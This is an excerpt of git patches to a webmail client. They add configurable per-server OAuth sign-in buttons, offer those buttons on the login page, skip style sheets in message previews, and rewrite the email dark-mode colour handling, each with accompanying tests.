oauthDiscoveryDone && !oauthMetadata) || liteOAuthFailed) && (
diff --git a/app/(main)/admin/_tabs/_jmap-servers-section.tsx b/app/(main)/admin/_tabs/_jmap-servers-section.tsx index da9f76aec..252da332c 100644 --- a/app/(main)/admin/_tabs/_jmap-servers-section.tsx +++ b/app/(main)/admin/_tabs/_jmap-servers-section.tsx @@ -19,6 +19,7 @@ interface RowDraft { oauthClientId: string; oauthIssuerUrl: string; oauthClientSecret: string; + oauthButtonLabel: string; oauthExpanded: boolean; } @@ -31,6 +32,7 @@ function entryToDraft(e: JmapServerEntry): RowDraft { oauthClientId: e.oauth?.clientId ?? '', oauthIssuerUrl: e.oauth?.issuerUrl ?? '', oauthClientSecret: e.oauth?.clientSecret ?? '', + oauthButtonLabel: e.oauth?.buttonLabel ?? '', oauthExpanded: !!(e.oauth && (e.oauth.clientId || e.oauth.issuerUrl || e.oauth.clientSecret)), }; } @@ -46,11 +48,13 @@ function draftToEntry(d: RowDraft): JmapServerEntry | null { const clientId = d.oauthClientId.trim(); const issuerUrl = d.oauthIssuerUrl.trim().replace(/\/+$/, ''); const clientSecret = d.oauthClientSecret; + const buttonLabel = d.oauthButtonLabel.trim(); const oauth = clientId || issuerUrl || clientSecret ? { ...(clientId ? { clientId } : {}), ...(issuerUrl ? { issuerUrl } : {}), ...(clientSecret ? { clientSecret } : {}), + ...(buttonLabel ? { buttonLabel } : {}), } : undefined; return { @@ -71,6 +75,7 @@ function emptyDraft(): RowDraft { oauthClientId: '', oauthIssuerUrl: '', oauthClientSecret: '', + oauthButtonLabel: '', oauthExpanded: false, }; } @@ -249,6 +254,20 @@ export function JmapServersSection({ value, source, onChange, onRevert }: Props) className="h-8 w-full rounded-md border border-input bg-background px-2 text-sm text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring" />
+
+ + update(i, { oauthButtonLabel: e.target.value })} + placeholder="Sign in with Google" + maxLength={64} + className="h-8 w-full rounded-md border border-input bg-background px-2 text-sm text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring" + /> +

+ A server with its own client ID offers OAuth sign-in even while OAuth is off globally. +

+
)}
diff --git a/lib/admin/__tests__/jmap-servers-oauth-label.test.ts b/lib/admin/__tests__/jmap-servers-oauth-label.test.ts new file mode 100644 index 000000000..eb6aa4fee --- /dev/null +++ b/lib/admin/__tests__/jmap-servers-oauth-label.test.ts @@ -0,0 +1,24 @@ +import { describe, it, expect } from 'vitest'; +import { parseJmapServers, redactJmapServers } from '@/lib/admin/jmap-servers'; + +describe('jmap server OAuth button label', () => { + it('keeps a trimmed, bounded label with the OAuth settings and exposes it without the secret', () => { + const parsed = parseJmapServers([ + { + id: 'bridge', + label: 'Bridge', + url: 'https://bridge.example.com', + oauth: { clientId: 'bulwark', clientSecret: 's3cret', buttonLabel: ' Sign in with Google ' }, + }, + { id: 'long', label: 'Long', url: 'https://long.example.com', oauth: { clientId: 'x', buttonLabel: 'y'.repeat(200) } }, + // A label alone does not make a server an OAuth server. + { id: 'label-only', label: 'Label only', url: 'https://mail.example.com', oauth: { buttonLabel: 'Sign in' } }, + ]); + expect(parsed[0]!.oauth).toEqual({ clientId: 'bulwark', clientSecret: 's3cret', buttonLabel: 'Sign in with Google' }); + expect(parsed[1]!.oauth!.buttonLabel).toHaveLength(64); + expect(parsed[2]!.oauth).toBeUndefined(); + + const pub = redactJmapServers(parsed); + expect(pub[0]!.oauth).toEqual({ clientId: 'bulwark', buttonLabel: 'Sign in with Google' }); + }); +}); diff --git a/lib/admin/jmap-servers.ts b/lib/admin/jmap-servers.ts index db379c739..99518fe02 100644 --- a/lib/admin/jmap-servers.ts +++ b/lib/admin/jmap-servers.ts @@ -8,6 +8,8 @@ export interface JmapServerOAuthConfig { clientId?: string; issuerUrl?: string; clientSecret?: string; + /** Text of this server's sign-in button, e.g. "Sign in with Google"; the generic SSO label otherwise. */ + buttonLabel?: string; } export interface JmapServerEntry { @@ -26,6 +28,7 @@ export interface PublicJmapServerEntry { oauth?: { clientId?: string; issuerUrl?: string; + buttonLabel?: string; }; } @@ -80,11 +83,13 @@ export function parseJmapServers(raw: unknown): JmapServerEntry[] { const clientId = typeof o.clientId === 'string' ? o.clientId.trim() : ''; const issuerUrl = typeof o.issuerUrl === 'string' ? trimUrl(o.issuerUrl) : ''; const clientSecret = typeof o.clientSecret === 'string' ? o.clientSecret : ''; + const buttonLabel = typeof o.buttonLabel === 'string' ? o.buttonLabel.trim().slice(0, 64) : ''; if (clientId || issuerUrl || clientSecret) { oauth = {}; if (clientId) oauth.clientId = clientId; if (issuerUrl && isHttpUrl(issuerUrl)) oauth.issuerUrl = issuerUrl; if (clientSecret) oauth.clientSecret = clientSecret; + if (buttonLabel) oauth.buttonLabel = buttonLabel; } } out.push({ @@ -110,6 +115,7 @@ export function redactJmapServers(servers: JmapServerEntry[]): PublicJmapServerE oauth: { ...(s.oauth.clientId ? { clientId: s.oauth.clientId } : {}), ...(s.oauth.issuerUrl ? { issuerUrl: s.oauth.issuerUrl } : {}), + ...(s.oauth.buttonLabel ? { buttonLabel: s.oauth.buttonLabel } : {}), }, } : {}), From abca1237fbb4ce6926d4c94737e439c27a4d77cd Mon Sep 17 00:00:00 2001 From: lucamzanon Date: Wed, 30 Sep 2026 21:27:31 +0200 Subject: [PATCH 159/358] feat(login): offer each server's own OAuth sign-in whichever server is selected A server in the list with its own OAuth client, such as a Gmail bridge, now has its button on the login page whatever the server menu shows, so signing in with Google is one tap. The tap selects that server and runs its discovery first. --- app/(main)/[locale]/login/page.tsx | 96 ++++++++++++++++++++++-------- 1 file changed, 72 insertions(+), 24 deletions(-) diff --git a/app/(main)/[locale]/login/page.tsx b/app/(main)/[locale]/login/page.tsx index 32c2aabc6..ba4b63c32 100644 --- a/app/(main)/[locale]/login/page.tsx +++ b/app/(main)/[locale]/login/page.tsx @@ -708,12 +708,36 @@ function LoginPageContent() { window.location.href = authUrl.toString(); }; - const handleOAuthLogin = async () => { - if (LITE_OAUTH_AVAILABLE) { + /** + * Starts OAuth for the selected server, or for `target`: a server in the + * list with its own OAuth client (a Gmail bridge, say), offered on the page + * whichever server is selected so that "Sign in with Google" is one tap. + */ + const handleOAuthLogin = async (target?: PublicJmapServerEntry) => { + if (LITE_OAUTH_AVAILABLE && !target) { await startLiteOAuth(probeTarget); return; } - if (!oauthMetadata || !effectiveOauthClientId) return; + const server = target ?? selectedServer; + const clientId = target ? target.oauth?.clientId : effectiveOauthClientId; + let metadata = target ? null : oauthMetadata; + if (target) { + setOauthLoading(true); + setSelectedServerId(target.id); + try { + const res = await apiFetch(`/api/auth/oauth/metadata?server_id=${encodeURIComponent(target.id)}`); + metadata = res.ok ? ((await res.json()) as OAuthMetadata) : null; + } catch { + metadata = null; + } + if (!metadata) { + // The target is now the selected server: its discovery runs again and + // the page shows the usual "discovery failed" notice. + setOauthLoading(false); + return; + } + } + if (!metadata || !clientId) return; // In mobile-handoff mode the client-side PKCE flow doesn't help us: // tokens would land in sessionStorage on the webmail origin and the // mobile app couldn't read them. Route through the server-side SSO @@ -733,14 +757,14 @@ function LoginPageContent() { // Resolve the JMAP URL to send to the callback. Server-list entries win // over the custom-endpoint input, which wins over the global server URL. - const oauthServerUrl = selectedServer?.url + const oauthServerUrl = server?.url || (allowCustomJmapEndpoint ? jmapEndpoint : configuredServerUrl); sessionStorage.setItem("oauth_code_verifier", verifier); sessionStorage.setItem("oauth_state", state); sessionStorage.setItem("oauth_server_url", oauthServerUrl!); - if (selectedServer?.id) { - sessionStorage.setItem("oauth_server_id", selectedServer.id); + if (server?.id) { + sessionStorage.setItem("oauth_server_id", server.id); } else { sessionStorage.removeItem("oauth_server_id"); } @@ -758,9 +782,9 @@ function LoginPageContent() { const nextSlot = useAccountStore.getState().getNextCookieSlot(); sessionStorage.setItem("oauth_cookie_slot", nextSlot.toString()); - const authUrl = new URL(oauthMetadata.authorization_endpoint); + const authUrl = new URL(metadata.authorization_endpoint); authUrl.searchParams.set("response_type", "code"); - authUrl.searchParams.set("client_id", effectiveOauthClientId); + authUrl.searchParams.set("client_id", clientId); authUrl.searchParams.set("redirect_uri", redirectUri); authUrl.searchParams.set("scope", oauthScopes || DEFAULT_OAUTH_SCOPES); authUrl.searchParams.set("state", state); @@ -887,6 +911,27 @@ function LoginPageContent() {
) : null; + // Other servers in the list that sign in with their own OAuth client get a + // button of their own, so signing in with Google does not first mean finding + // the bridge in the server menu. Not in mobile handoff, which signs in + // server-side against the selected server. + const otherOauthServers = isMobileHandoff + ? [] + : jmapServers.filter((s) => s.oauth?.clientId && s.id !== selectedServer?.id); + const otherOauthButtons = otherOauthServers.map((s) => ( + + )); + // Demo-only mode: show only a large demo login button if (demoMode && !isAddAccountMode) { return ( @@ -1203,7 +1248,7 @@ function LoginPageContent() { - {(oauthMetadata || liteSsoOffered) && ( + {(oauthMetadata || liteSsoOffered || otherOauthButtons.length > 0) && ( <>
@@ -1445,20 +1490,23 @@ function LoginPageContent() {
- + {(oauthMetadata || liteSsoOffered) && ( + + )} + {otherOauthButtons} )} From 2d521d19b289aa014f2bd4b14706c17d17c428a1 Mon Sep 17 00:00:00 2001 From: lucamzanon Date: Wed, 30 Sep 2026 19:19:44 +0200 Subject: [PATCH 160/358] fix: skip a style sheet at the start of a message preview MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Some servers build a message's preview from its HTML body without skipping the ${effectiveEmailContent.html}`; +${resolveColorSchemeMedia(effectiveEmailContent.html, isDark)}`; }, [effectiveEmailContent.html, effectiveEmailContent.isHtml, effectiveEmailContent.hasStyleTag, effectiveEmailContent.externalBlocked, isDark, emailHasNativeDarkMode, messageSpacing]); // Unblocking external content is handled by rebuilding the iframe srcDoc: @@ -2459,6 +2422,13 @@ export function EmailViewer({ hide: t('hide_quoted_text'), }); + // Before the height wiring and after the quote toggle exists, so the + // toggle is converted too. Reads the mail's computed colours and + // un-hides the body when done. + if (isDark) { + applyEmailDarkMode(doc, { remoteContentAllowed: !effectiveEmailContent.externalBlocked }); + } + // Auto-resize iframe to fit content // Measure max(documentElement, body): a height:100% wrapper can leave // documentElement.scrollHeight short while the real content lives in body. @@ -2531,7 +2501,7 @@ export function EmailViewer({ // Plugin intercept: let plugins cancel or rewrite external links inside // the email body before navigation happens. Bound on the iframe doc so - // it survives DOM mutations from dark-mode pass below. + // it survives later DOM mutations. const onLinkClick = async (ev: Event) => { const targetEl = (ev.target as Element | null)?.closest?.('a[href], area[href]') as HTMLAnchorElement | HTMLAreaElement | null; if (!targetEl) return; @@ -2562,106 +2532,11 @@ export function EmailViewer({ }; doc.addEventListener('click', onLinkClick, true); - // Dark mode: re-invert elements with stylesheet-defined background images - // (CSS attribute selectors only catch inline styles, not ${emailContent.html}`; - }, [emailContent.isHtml, emailContent.html, allowExternal]); + }, [emailContent.isHtml, emailContent.html, allowExternal, isDark]); const handleIframeLoad = useCallback(() => { const iframe = iframeRef.current; @@ -506,6 +488,7 @@ function EmailCard({ show: t('email_viewer.show_quoted_text'), hide: t('email_viewer.hide_quoted_text'), }); + if (isDark) applyEmailDarkMode(doc, { remoteContentAllowed: allowExternal }); const resize = () => { // Fit desktop-width mail to the screen before measuring: the transform // leaves the layout height untouched, so scale the box by hand. @@ -523,7 +506,7 @@ function EmailCard({ } catch { // contentDocument may be inaccessible under stricter sandboxes; ignore. } - }, [t]); + }, [t, isDark, allowExternal]); return (
{ @@ -130,281 +126,6 @@ describe('getLuminance', () => { }); }); -describe('isDarkColor', () => { - it('should identify dark colors', () => { - expect(isDarkColor('#000000')).toBe(true); - expect(isDarkColor('#111111')).toBe(true); - expect(isDarkColor('#333333')).toBe(true); - expect(isDarkColor('rgb(51, 51, 51)')).toBe(true); - }); - - it('should identify light colors', () => { - expect(isDarkColor('#ffffff')).toBe(false); - expect(isDarkColor('#eeeeee')).toBe(false); - expect(isDarkColor('rgb(200, 200, 200)')).toBe(false); - }); - - it('should return false for invalid colors', () => { - expect(isDarkColor('invalid')).toBe(false); - expect(isDarkColor('inherit')).toBe(false); - }); -}); - -describe('transformColorForDarkMode', () => { - it('should brighten very dark colors', () => { - const original = '#111111'; - const transformed = transformColorForDarkMode(original); - const originalRgb = parseColor(original)!; - const transformedRgb = parseColor(transformed)!; - - expect(transformedRgb.r).toBeGreaterThan(originalRgb.r); - expect(transformedRgb.g).toBeGreaterThan(originalRgb.g); - expect(transformedRgb.b).toBeGreaterThan(originalRgb.b); - }); - - it('should transform #333333 to a bright color', () => { - const transformed = transformColorForDarkMode('#333333'); - const rgb = parseColor(transformed)!; - const luminance = getLuminance(rgb.r, rgb.g, rgb.b); - expect(luminance).toBeGreaterThan(0.5); - }); - - it('should produce readable results for Google Calendar grays', () => { - const googleGrays = ['#757575', '#5f6368', '#70757a', '#3c4043']; - for (const color of googleGrays) { - const transformed = transformColorForDarkMode(color); - const rgb = parseColor(transformed)!; - const luminance = getLuminance(rgb.r, rgb.g, rgb.b); - expect(luminance).toBeGreaterThan(0.55); - } - }); - - it('should preserve hue for colored text', () => { - const transformed = transformColorForDarkMode('#1a73e8'); - const rgb = parseColor(transformed)!; - expect(rgb.b).toBeGreaterThan(rgb.r); - expect(rgb.b).toBeGreaterThan(rgb.g); - }); - - it('should preserve already light colors', () => { - const lightColors = ['#eeeeee', '#ffffff', 'rgb(200, 200, 200)']; - lightColors.forEach((color) => { - const original = parseColor(color)!; - const transformed = parseColor(transformColorForDarkMode(color))!; - const originalLum = getLuminance(original.r, original.g, original.b); - const transformedLum = getLuminance(transformed.r, transformed.g, transformed.b); - - expect(transformedLum).toBeGreaterThanOrEqual(originalLum * 0.9); - }); - }); - - it('should handle rgba colors with alpha', () => { - const original = 'rgba(51, 51, 51, 0.8)'; - const transformed = transformColorForDarkMode(original); - expect(transformed).toContain('rgba'); - expect(transformed).toContain('0.8'); - }); - - it('should preserve nearly transparent colors', () => { - const original = 'rgba(0, 0, 0, 0.05)'; - const transformed = transformColorForDarkMode(original); - expect(transformed).toBe(original); - }); - - it('should handle invalid colors gracefully', () => { - expect(transformColorForDarkMode('invalid')).toBe('invalid'); - expect(transformColorForDarkMode('inherit')).toBe('inherit'); - }); - - it('should brighten medium darkness colors', () => { - const original = '#646463'; - const transformed = transformColorForDarkMode(original); - const originalRgb = parseColor(original)!; - const transformedRgb = parseColor(transformed)!; - - expect(transformedRgb.r).toBeGreaterThan(originalRgb.r); - expect(transformedRgb.g).toBeGreaterThan(originalRgb.g); - expect(transformedRgb.b).toBeGreaterThan(originalRgb.b); - }); - - it('should ensure minimum contrast for all dark text colors', () => { - const darkTextColors = [ - '#000000', '#111111', '#222222', '#333333', '#444444', - '#555555', '#666666', '#777777', '#888888', - ]; - for (const color of darkTextColors) { - const transformed = transformColorForDarkMode(color); - const rgb = parseColor(transformed)!; - const luminance = getLuminance(rgb.r, rgb.g, rgb.b); - expect(luminance).toBeGreaterThan(0.4); - } - }); -}); - -describe('transformBgColorForDarkMode', () => { - it('should darken white backgrounds', () => { - const transformed = transformBgColorForDarkMode('#ffffff'); - const rgb = parseColor(transformed)!; - const luminance = getLuminance(rgb.r, rgb.g, rgb.b); - expect(luminance).toBeLessThan(0.1); - }); - - it('should darken light gray backgrounds', () => { - const transformed = transformBgColorForDarkMode('#f8f9fa'); - const rgb = parseColor(transformed)!; - const luminance = getLuminance(rgb.r, rgb.g, rgb.b); - expect(luminance).toBeLessThan(0.1); - }); - - it('should preserve already dark backgrounds', () => { - const darkBgs = ['#111111', '#1a1a2e', '#0f172a']; - for (const color of darkBgs) { - expect(transformBgColorForDarkMode(color)).toBe(color); - } - }); - - it('should preserve nearly transparent backgrounds', () => { - const original = 'rgba(255, 255, 255, 0.05)'; - expect(transformBgColorForDarkMode(original)).toBe(original); - }); - - it('should handle invalid colors gracefully', () => { - expect(transformBgColorForDarkMode('invalid')).toBe('invalid'); - expect(transformBgColorForDarkMode('inherit')).toBe('inherit'); - }); - - it('should handle rgba backgrounds', () => { - const transformed = transformBgColorForDarkMode('rgba(255, 255, 255, 0.9)'); - expect(transformed).toContain('rgba'); - expect(transformed).toContain('0.9'); - const rgb = parseColor(transformed)!; - expect(rgb.r).toBeLessThan(100); - }); - - it('should moderately darken medium backgrounds', () => { - const transformed = transformBgColorForDarkMode('#e0e0e0'); - const rgb = parseColor(transformed)!; - const luminance = getLuminance(rgb.r, rgb.g, rgb.b); - expect(luminance).toBeLessThan(0.3); - }); -}); - -describe('transformInlineStyles', () => { - it('should not transform styles in light mode', () => { - const original = 'color: #333333; font-size: 16px'; - expect(transformInlineStyles(original, 'light')).toBe(original); - }); - - it('should transform color property in dark mode', () => { - const original = 'color: #333333'; - const transformed = transformInlineStyles(original, 'dark'); - expect(transformed).not.toBe(original); - expect(transformed).toContain('color:'); - expect(transformed).toContain('rgb('); - }); - - it('should darken light background-color property', () => { - const original = 'background-color: #ffffff'; - const transformed = transformInlineStyles(original, 'dark'); - expect(transformed).not.toBe(original); - expect(transformed).toContain('background-color:'); - const colorMatch = transformed.match(/rgb\((\d+),\s*(\d+),\s*(\d+)\)/); - expect(colorMatch).not.toBeNull(); - if (colorMatch) { - const [, r] = colorMatch.map(Number); - expect(r).toBeLessThan(100); - } - }); - - it('should preserve dark background-color unchanged', () => { - const original = 'background-color: #111111'; - const transformed = transformInlineStyles(original, 'dark'); - expect(transformed).toBe(original); - }); - - it('should preserve non-color properties', () => { - const original = 'color: #333333; font-size: 16px; margin: 10px'; - const transformed = transformInlineStyles(original, 'dark'); - expect(transformed).toContain('font-size: 16px'); - expect(transformed).toContain('margin: 10px'); - }); - - it('should handle multiple color properties', () => { - const original = 'color: #111111; background-color: #ffffff; font-weight: bold'; - const transformed = transformInlineStyles(original, 'dark'); - expect(transformed).toContain('color:'); - expect(transformed).toContain('background-color:'); - expect(transformed).toContain('font-weight: bold'); - }); - - it('should preserve !important declarations', () => { - const original = 'color: #333333 !important'; - const transformed = transformInlineStyles(original, 'dark'); - expect(transformed).toContain('!important'); - }); - - it('should handle empty or invalid styles', () => { - expect(transformInlineStyles('', 'dark')).toBe(''); - expect(transformInlineStyles('invalid', 'dark')).toBe('invalid'); - }); - - it('should brighten text colors for dark mode readability', () => { - const original = 'color: #333333; font-family: Georgia; font-size: 16px'; - const transformed = transformInlineStyles(original, 'dark'); - - expect(transformed).toContain('font-family: Georgia'); - expect(transformed).toContain('font-size: 16px'); - - const colorMatch = transformed.match(/color:\s*rgb\((\d+),\s*(\d+),\s*(\d+)\)/); - expect(colorMatch).not.toBeNull(); - - if (colorMatch) { - const [, r, g, b] = colorMatch.map(Number); - expect(r).toBeGreaterThan(180); - expect(g).toBeGreaterThan(180); - expect(b).toBeGreaterThan(180); - } - }); - - it('should darken background shorthand with color', () => { - const original = 'background: #ffffff'; - const transformed = transformInlineStyles(original, 'dark'); - expect(transformed).not.toBe(original); - expect(transformed).toContain('background:'); - }); - - it('should not transform background with url', () => { - const original = 'background: url(image.jpg) #333333'; - const transformed = transformInlineStyles(original, 'dark'); - expect(transformed).toBe(original); - }); - - it('should transform border-color', () => { - const original = 'border-color: #111111'; - const transformed = transformInlineStyles(original, 'dark'); - expect(transformed).not.toBe(original); - expect(transformed).toContain('border-color:'); - }); - - it('should produce good contrast for Google Calendar emails', () => { - const original = 'color: #5f6368; background-color: #f8f9fa'; - const transformed = transformInlineStyles(original, 'dark'); - - const textMatch = transformed.match(/color:\s*rgb\((\d+),\s*(\d+),\s*(\d+)\)/); - const bgMatch = transformed.match(/background-color:\s*rgb\((\d+),\s*(\d+),\s*(\d+)\)/); - - expect(textMatch).not.toBeNull(); - expect(bgMatch).not.toBeNull(); - - if (textMatch && bgMatch) { - const textLum = getLuminance(+textMatch[1], +textMatch[2], +textMatch[3]); - const bgLum = getLuminance(+bgMatch[1], +bgMatch[2], +bgMatch[3]); - const contrast = (Math.max(textLum, bgLum) + 0.05) / (Math.min(textLum, bgLum) + 0.05); - expect(contrast).toBeGreaterThan(4.5); - } - }); -}); - describe('readableTextOn', () => { it('keeps white text while white holds 3:1 on the fill', () => { expect(readableTextOn('#3b82f6')).toBe('#ffffff'); diff --git a/lib/__tests__/email-dark-mode.test.ts b/lib/__tests__/email-dark-mode.test.ts new file mode 100644 index 000000000..ef72cef8d --- /dev/null +++ b/lib/__tests__/email-dark-mode.test.ts @@ -0,0 +1,154 @@ +import { describe, it, expect } from 'vitest'; +import { + applyEmailDarkMode, + contrastRatio, + darkenBackground, + DARK_PENDING_CLASS, + emailColorScheme, + ensureContrast, + parseComputedColor, + resolveColorSchemeMedia, + type Rgba, +} from '../email-dark-mode'; +import { sanitizeEmailBodyForIframe } from '../email-sanitization'; + +const c = (value: string): Rgba => parseComputedColor(value)!; +const lightness = ({ r, g, b }: Rgba) => (r + g + b) / 3; + +describe('darkenBackground', () => { + it('turns white into a dark canvas', () => { + expect(lightness(darkenBackground(c('rgb(255, 255, 255)')))).toBeLessThan(40); + }); + + it('keeps a light grey canvas lighter than a white card on it', () => { + const card = darkenBackground(c('rgb(255, 255, 255)')); + const canvas = darkenBackground(c('rgb(244, 244, 244)')); + expect(lightness(canvas)).toBeGreaterThan(lightness(card)); + }); + + it('keeps the hue of a light tint', () => { + const out = darkenBackground(c('rgb(214, 233, 248)')); + expect(lightness(out)).toBeLessThan(80); + expect(out.b).toBeGreaterThan(out.r); + }); + + it('leaves vivid brand colours and dark fills as sent', () => { + const red = c('rgb(227, 6, 19)'); + const green = c('rgb(115, 215, 0)'); + const navy = c('rgb(0, 32, 91)'); + expect(darkenBackground(red)).toBe(red); + expect(darkenBackground(green)).toBe(green); + expect(darkenBackground(navy)).toBe(navy); + }); + + it('keeps alpha', () => { + expect(darkenBackground(c('rgba(255, 255, 255, 0.5)')).a).toBe(0.5); + }); +}); + +describe('ensureContrast', () => { + const dark = c('rgb(20, 20, 20)'); + + it('keeps text that already reads', () => { + const white = c('rgb(255, 255, 255)'); + expect(ensureContrast(white, dark, 4.5)).toBe(white); + }); + + it('lifts dark text above 4.5:1 on a dark background', () => { + const out = ensureContrast(c('rgb(51, 51, 51)'), dark, 4.5); + expect(contrastRatio(out, dark)).toBeGreaterThanOrEqual(4.5); + }); + + it('keeps the order of text greys', () => { + const black = ensureContrast(c('rgb(0, 0, 0)'), dark, 4.5); + const grey = ensureContrast(c('rgb(102, 102, 102)'), dark, 4.5); + expect(lightness(black)).toBeGreaterThan(lightness(grey)); + }); + + it('keeps a red link red', () => { + const out = ensureContrast(c('rgb(200, 0, 0)'), dark, 4.5); + expect(out.r).toBeGreaterThan(out.g + 60); + }); +}); + +describe('resolveColorSchemeMedia', () => { + const html = '

(prefers-color-scheme: dark)

'; + + it('turns the dark query on and the light one off in dark mode', () => { + const out = resolveColorSchemeMedia(html, true); + expect(out).toContain('@media (min-width: 0px) { .a'); + expect(out).toContain('@media (max-width: 0.001px) { .b'); + }); + + it('turns the dark query off in light mode', () => { + const out = resolveColorSchemeMedia(html, false); + expect(out).toContain('@media (max-width: 0.001px) { .a'); + expect(out).toContain('@media (min-width: 0px) { .b'); + }); + + it('leaves text outside
', + true, + ); + expect(result.blockedExternalContent).toBe(true); + expect(result.html).toContain(''); + }); + it('leaves external images alone when blocking is off', () => { const result = sanitizeEmailBodyForIframe('', false); expect(result.blockedExternalContent).toBe(false); diff --git a/lib/color-transform.ts b/lib/color-transform.ts index e699db877..dae1db6cf 100644 --- a/lib/color-transform.ts +++ b/lib/color-transform.ts @@ -124,105 +124,3 @@ export function readableTextOn(colorString: string): string { const contrastWithWhite = 1.05 / (getLuminance(rgb.r, rgb.g, rgb.b) + 0.05); return contrastWithWhite >= 3 ? '#ffffff' : '#111827'; } - -export function isDarkColor(colorString: string): boolean { - const rgb = parseColor(colorString); - if (!rgb) return false; - const luminance = getLuminance(rgb.r, rgb.g, rgb.b); - return luminance < 0.5; -} - -export function transformColorForDarkMode(colorString: string): string { - const rgb = parseColor(colorString); - if (!rgb) return colorString; - - if (rgb.a !== undefined && rgb.a < 0.1) { - return colorString; - } - - const luminance = getLuminance(rgb.r, rgb.g, rgb.b); - - if (luminance >= 0.6) return colorString; - - const blendFactor = 0.85 - (luminance / 0.6) * 0.55; - - const r = Math.min(255, Math.round(rgb.r + (255 - rgb.r) * blendFactor)); - const g = Math.min(255, Math.round(rgb.g + (255 - rgb.g) * blendFactor)); - const b = Math.min(255, Math.round(rgb.b + (255 - rgb.b) * blendFactor)); - - return rgb.a !== undefined ? `rgba(${r}, ${g}, ${b}, ${rgb.a})` : `rgb(${r}, ${g}, ${b})`; -} - -export function transformBgColorForDarkMode(colorString: string): string { - const rgb = parseColor(colorString); - if (!rgb) return colorString; - - if (rgb.a !== undefined && rgb.a < 0.1) { - return colorString; - } - - const luminance = getLuminance(rgb.r, rgb.g, rgb.b); - - if (luminance < 0.2) return colorString; - - const blendFactor = Math.min(0.9, (luminance - 0.2) * 1.125); - const darkR = 30, darkG = 31, darkB = 38; - - const r = Math.max(0, Math.round(rgb.r + (darkR - rgb.r) * blendFactor)); - const g = Math.max(0, Math.round(rgb.g + (darkG - rgb.g) * blendFactor)); - const b = Math.max(0, Math.round(rgb.b + (darkB - rgb.b) * blendFactor)); - - return rgb.a !== undefined ? `rgba(${r}, ${g}, ${b}, ${rgb.a})` : `rgb(${r}, ${g}, ${b})`; -} - -export function transformInlineStyles(cssText: string, theme: 'light' | 'dark'): string { - if (theme !== 'dark' || !cssText) { - return cssText; - } - - const styleProps = cssText.split(';').map((prop) => prop.trim()).filter(Boolean); - - const transformedProps = styleProps.map((prop) => { - const colonIndex = prop.indexOf(':'); - if (colonIndex === -1) return prop; - - const property = prop.slice(0, colonIndex).trim(); - const value = prop.slice(colonIndex + 1).trim(); - - if (property === 'color') { - const hasImportant = value.includes('!important'); - const colorValue = value.replace('!important', '').trim(); - const transformed = transformColorForDarkMode(colorValue); - return `${property}: ${transformed}${hasImportant ? ' !important' : ''}`; - } - - if (property === 'background-color') { - const hasImportant = value.includes('!important'); - const colorValue = value.replace('!important', '').trim(); - const transformed = transformBgColorForDarkMode(colorValue); - return `${property}: ${transformed}${hasImportant ? ' !important' : ''}`; - } - - if (property === 'background' && !value.includes('url(')) { - const colorMatch = value.match(/#[0-9a-f]{3,6}|rgba?\([^)]+\)|hsla?\([^)]+\)|[a-z]+/i); - if (colorMatch) { - const hasImportant = value.includes('!important'); - const originalColor = colorMatch[0]; - const transformed = transformBgColorForDarkMode(originalColor); - const newValue = value.replace(originalColor, transformed); - return `${property}: ${newValue.replace('!important', '').trim()}${hasImportant ? ' !important' : ''}`; - } - } - - if (property === 'border-color') { - const hasImportant = value.includes('!important'); - const colorValue = value.replace('!important', '').trim(); - const transformed = transformColorForDarkMode(colorValue); - return `${property}: ${transformed}${hasImportant ? ' !important' : ''}`; - } - - return prop; - }); - - return transformedProps.join('; '); -} diff --git a/lib/email-dark-mode.ts b/lib/email-dark-mode.ts new file mode 100644 index 000000000..355f51987 --- /dev/null +++ b/lib/email-dark-mode.ts @@ -0,0 +1,475 @@ +/** + * Dark mode for HTML email bodies rendered in a viewer iframe. + * + * Instead of inverting the whole body with a CSS filter (which turns brand + * red into pink, flips photos that then need re-inverting, and depends on + * which background attributes survived the external-content blocker), the + * rendered document is read back through getComputedStyle and its colours are + * rewritten in place: + * + * - Light backgrounds are darkened with their hue kept. Vivid colours (brand + * buttons, banners) and backgrounds that are already dark stay as sent. + * - Text and borders only change when they lack contrast against the new + * background; they are then lightened (or darkened) in their own hue. + * - Images are never touched. An element painted with a background image keeps + * its colours, and so does the text drawn straight on it: the sender + * designed the two to be read together. + * + * Because the pass works on computed styles, colours from inline styles, + * legacy attributes (bgcolor, ) and